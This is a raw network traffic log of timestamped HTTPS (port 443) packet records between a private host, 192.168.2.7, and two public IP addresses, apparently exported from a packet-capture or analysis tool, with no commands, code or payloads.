Nov 15, 2024 19:40:03.071639061 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071701050 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071748972 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.071867943 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.071890116 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.071902037 CET	50072	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.071909904 CET	443	50072	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.074558973 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.074664116 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.074759007 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.074894905 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.074922085 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.082047939 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.082551956 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.082565069 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.083337069 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.083343029 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.120110035 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.120146036 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.120217085 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.120253086 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.120322943 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.120615959 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.120631933 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.120642900 CET	50074	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.120649099 CET	443	50074	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.123205900 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.123239040 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.123327971 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.123450041 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.123461008 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.219901085 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.219923973 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.219985962 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.220027924 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.220027924 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.257879019 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.257879019 CET	50075	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.257899046 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.257915020 CET	443	50075	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.262291908 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.262389898 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.262469053 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.262748003 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.262780905 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.590182066 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.590828896 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.590857983 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.594257116 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.594263077 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.723921061 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.723993063 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.724042892 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.724061012 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.724112034 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.724288940 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.724309921 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.724322081 CET	50078	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.724328995 CET	443	50078	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.727225065 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.727262974 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.727334023 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.727463961 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.727475882 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.783248901 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.783683062 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.783701897 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.784156084 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.784162045 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.806658983 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.807012081 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.807089090 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.807410002 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.807425022 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.853468895 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.853967905 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.853985071 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.854976892 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.854983091 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913398027 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913418055 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913475037 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.913486958 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913779020 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.913779020 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.913794994 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913955927 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.913990021 CET	443	50079	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.914032936 CET	50079	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.916486979 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.916557074 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.916631937 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.916794062 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.916827917 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.967976093 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.968148947 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.968240023 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.968318939 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.968360901 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.968385935 CET	50080	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.968401909 CET	443	50080	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.971117973 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.971163988 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.971240997 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.971416950 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.971431017 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.982701063 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.982872963 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.982920885 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.982965946 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.982984066 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.982995033 CET	50081	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.983000040 CET	443	50081	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.985110044 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.985141993 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.985210896 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.985332966 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.985358953 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.996021986 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.996414900 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.996448040 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:03.996876001 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:03.996887922 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.129390001 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.129555941 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.129646063 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.129725933 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.129748106 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.129786015 CET	50082	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.129797935 CET	443	50082	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.131958008 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.131992102 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.132056952 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.132170916 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.132179022 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.459280014 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.459705114 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.459737062 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.460158110 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.460163116 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.590444088 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.590526104 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.590579033 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.592777967 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.592799902 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.592811108 CET	50084	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.592817068 CET	443	50084	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.621989012 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.622028112 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.622097015 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.622273922 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.622278929 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.698178053 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.698905945 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.698965073 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.699362040 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.699378014 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.712944984 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.714797020 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.714818001 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.715148926 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.715152025 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.730091095 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.730808020 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.730844975 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.731180906 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.731194019 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.832380056 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.832401991 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.832453966 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.832602978 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.832602978 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.833076000 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.833127022 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.833158016 CET	50085	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.833174944 CET	443	50085	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.835683107 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.835717916 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.835788965 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.835921049 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.835926056 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843153954 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843229055 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843323946 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.843343973 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843379021 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843491077 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.843607903 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.843607903 CET	50086	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.843620062 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.843627930 CET	443	50086	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.845679045 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.845731020 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.845812082 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.845926046 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.845937967 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.921989918 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:04.922027111 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:04.922096014 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:04.922476053 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:04.922485113 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:04.979801893 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.979834080 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.979851961 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.980052948 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.980086088 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.980134964 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.989280939 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.989362001 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.989368916 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.989433050 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.989456892 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.989469051 CET	50087	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.989475965 CET	443	50087	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.992203951 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.992259979 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:04.992351055 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.992496967 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:04.992516994 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.238049030 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.240035057 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.240047932 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.240555048 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.240564108 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.377593040 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.377652884 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.377782106 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.377793074 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.378046989 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.378052950 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.378072023 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.378997087 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.379354954 CET	443	50088	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.379440069 CET	50088	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.381108999 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.381144047 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.381432056 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.381580114 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.381588936 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.383084059 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.383466005 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.383481979 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.383904934 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.383909941 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.668993950 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.669023991 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.669044018 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.669078112 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.669092894 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.669158936 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.762821913 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.762867928 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.762907982 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.762917995 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.762932062 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.762947083 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.762975931 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.796838999 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.801508904 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.801816940 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:05.810852051 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:05.810920000 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:05.845680952 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.845709085 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:05.850857973 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.043317080 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.043339014 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.043351889 CET	50090	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.043359041 CET	443	50090	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.047677040 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.047704935 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.048886061 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.048893929 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.049909115 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.049936056 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.052545071 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.052552938 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.053157091 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.053173065 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.053642035 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.053647995 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.055936098 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.055953979 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.056885004 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.098443985 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.110526085 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.137393951 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.151367903 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.175363064 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.175391912 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.175426006 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.175452948 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.175483942 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.175524950 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.177862883 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.178034067 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.178093910 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.179255009 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.179348946 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.179395914 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.179423094 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.179486036 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.179533005 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.188508987 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.188535929 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.191806078 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.191813946 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.196154118 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.196194887 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.196222067 CET	50092	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.196238041 CET	443	50092	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.213870049 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.213870049 CET	50095	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.213901043 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.213916063 CET	443	50095	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.215352058 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.215359926 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.215372086 CET	50093	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.215378046 CET	443	50093	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.219043970 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.219070911 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.219140053 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.219294071 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.219302893 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.221463919 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.221489906 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.221548080 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.221705914 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.221719027 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.222979069 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.222991943 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.223051071 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.223768950 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.223786116 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.224755049 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.224780083 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.224832058 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.224922895 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.224930048 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.318506956 CET	443	50096	13.107.246.45	192.168.2.7
